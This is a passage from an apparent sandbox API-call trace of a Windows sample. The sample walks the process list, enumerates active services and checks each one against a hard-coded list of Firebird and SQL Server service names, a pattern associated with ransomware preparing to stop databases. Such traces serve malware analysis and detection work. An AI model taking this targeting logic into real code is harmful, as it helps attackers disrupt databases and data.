th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.870] lstrlenW (lpString="svchost.exe") returned 11 [0261.871] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0261.871] lstrlenW (lpString="mode.com") returned 8 [0261.871] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0261.872] CloseHandle (hObject=0x524) returned 1 [0261.872] Sleep (dwMilliseconds=0x1f4) [0262.694] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a1a8 [0262.695] EnumServicesStatusExW (in: hSCManager=0x69a1a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0262.695] GetLastError () returned 0xea [0262.695] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c5a) returned 0x4606e00 [0262.695] EnumServicesStatusExW (in: hSCManager=0x69a1a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4606e00, cbBufSize=0x1c5a, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4606e00, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0262.696] CloseServiceHandle (hSCObject=0x69a1a8) returned 1 [0262.696] lstrlenW (lpString="AppXSvc") returned 7 [0262.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0262.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0262.696] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0262.696] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0262.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0262.697] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0262.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0262.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0262.697] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0262.697] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0262.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0262.697] lstrlenW (lpString="Audiosrv") returned 8 [0262.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0262.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0262.697] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0262.697] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0262.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0262.697] lstrlenW (lpString="BFE") returned 3 [0262.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0262.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0262.697] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0262.697] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0262.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0262.697] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0262.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0262.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0262.697] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0262.697] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0262.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0262.697] lstrlenW (lpString="CDPSvc") returned 6 [0262.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0262.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0262.697] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0262.697] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0262.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0262.698] lstrlenW (lpString="ClickToRunSvc") returned 13 [0262.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0262.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0262.698] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0262.698] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0262.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0262.698] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0262.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0262.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0262.698] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0262.698] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0262.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0262.698] lstrlenW (lpString="CryptSvc") returned 8 [0262.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0262.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0262.698] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0262.698] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0262.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0262.698] lstrlenW (lpString="DcomLaunch") returned 10 [0262.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0262.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0262.698] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0262.698] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0262.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0262.698] lstrlenW (lpString="DeviceAssociationService") returned 24 [0262.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0262.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0262.698] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0262.698] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0262.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0262.698] lstrlenW (lpString="Dhcp") returned 4 [0262.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0262.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0262.698] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0262.699] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0262.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0262.699] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0262.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0262.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0262.699] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0262.699] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0262.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0262.699] lstrlenW (lpString="Dnscache") returned 8 [0262.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0262.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0262.699] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0262.699] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0262.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0262.699] lstrlenW (lpString="DPS") returned 3 [0262.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0262.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0262.699] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0262.699] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0262.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0262.699] lstrlenW (lpString="DusmSvc") returned 7 [0262.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0262.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0262.699] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0262.699] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0262.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0262.699] lstrlenW (lpString="EventLog") returned 8 [0262.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0262.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0262.699] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0262.699] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0262.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0262.700] lstrlenW (lpString="EventSystem") returned 11 [0262.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0262.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0262.700] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0262.700] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0262.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0262.700] lstrlenW (lpString="FontCache") returned 9 [0262.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0262.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0262.700] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0262.700] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0262.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0262.700] lstrlenW (lpString="gpsvc") returned 5 [0262.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0262.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0262.700] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0262.700] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0262.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0262.700] lstrlenW (lpString="iphlpsvc") returned 8 [0262.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0262.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0262.700] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0262.700] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0262.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0262.700] lstrlenW (lpString="KeyIso") returned 6 [0262.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0262.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0262.700] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0262.700] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0262.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0262.700] lstrlenW (lpString="LanmanServer") returned 12 [0262.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0262.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0262.701] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0262.701] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0262.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0262.701] lstrlenW (lpString="LanmanWorkstation") returned 17 [0262.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0262.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0262.701] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0262.701] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0262.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0262.701] lstrlenW (lpString="lfsvc") returned 5 [0262.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0262.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0262.701] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0262.701] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0262.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0262.701] lstrlenW (lpString="lmhosts") returned 7 [0262.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0262.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0262.701] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0262.701] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0262.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0262.701] lstrlenW (lpString="LSM") returned 3 [0262.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0262.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0262.701] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0262.701] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0262.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0262.701] lstrlenW (lpString="MpsSvc") returned 6 [0262.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0262.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0262.702] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0262.702] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0262.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0262.702] lstrlenW (lpString="NcbService") returned 10 [0262.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0262.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0262.702] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0262.702] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0262.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0262.702] lstrlenW (lpString="netprofm") returned 8 [0262.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0262.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0262.702] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0262.702] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0262.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0262.702] lstrlenW (lpString="NgcSvc") returned 6 [0262.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0262.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0262.702] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0262.702] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0262.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0262.702] lstrlenW (lpString="NlaSvc") returned 6 [0262.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0262.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0262.702] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0262.702] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0262.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0262.702] lstrlenW (lpString="nsi") returned 3 [0262.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0262.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0262.702] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0262.702] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0262.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0262.703] lstrlenW (lpString="PcaSvc") returned 6 [0262.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0262.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0262.703] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0262.703] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0262.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0262.703] lstrlenW (lpString="PlugPlay") returned 8 [0262.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0262.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0262.703] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0262.703] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0262.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0262.703] lstrlenW (lpString="Power") returned 5 [0262.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0262.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0262.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0262.703] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0262.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0262.703] lstrlenW (lpString="ProfSvc") returned 7 [0262.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0262.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0262.703] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0262.703] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0262.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0262.703] lstrlenW (lpString="RpcEptMapper") returned 12 [0262.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0262.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0262.703] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0262.703] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0262.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0262.704] lstrlenW (lpString="RpcSs") returned 5 [0262.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0262.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0262.704] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0262.704] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0262.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0262.704] lstrlenW (lpString="SamSs") returned 5 [0262.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0262.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0262.704] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0262.704] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0262.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0262.704] lstrlenW (lpString="Schedule") returned 8 [0262.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0262.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0262.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0262.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0262.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0262.704] lstrlenW (lpString="SecurityHealthService") returned 21 [0262.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0262.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0262.704] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0262.704] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0262.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0262.704] lstrlenW (lpString="SENS") returned 4 [0262.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0262.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0262.704] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0262.704] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0262.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0262.705] lstrlenW (lpString="ShellHWDetection") returned 16 [0262.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0262.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0262.705] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0262.705] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0262.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0262.705] lstrlenW (lpString="Spooler") returned 7 [0262.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0262.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0262.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0262.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0262.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0262.705] lstrlenW (lpString="StateRepository") returned 15 [0262.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0262.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0262.705] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0262.705] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0262.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0262.705] lstrlenW (lpString="SysMain") returned 7 [0262.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0262.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0262.705] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0263.013] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0263.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0263.013] lstrlenW (lpString="SystemEventsBroker") returned 18 [0263.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0263.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0263.013] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0263.013] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0263.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0263.013] lstrlenW (lpString="Themes") returned 6 [0263.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0263.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0263.013] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0263.013] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0263.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0263.013] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0263.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0263.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0263.013] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0263.013] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0263.013] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4606e00 | out: hHeap=0x640000) returned 1 [0263.013] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x524 [0263.018] Process32FirstW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.019] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, 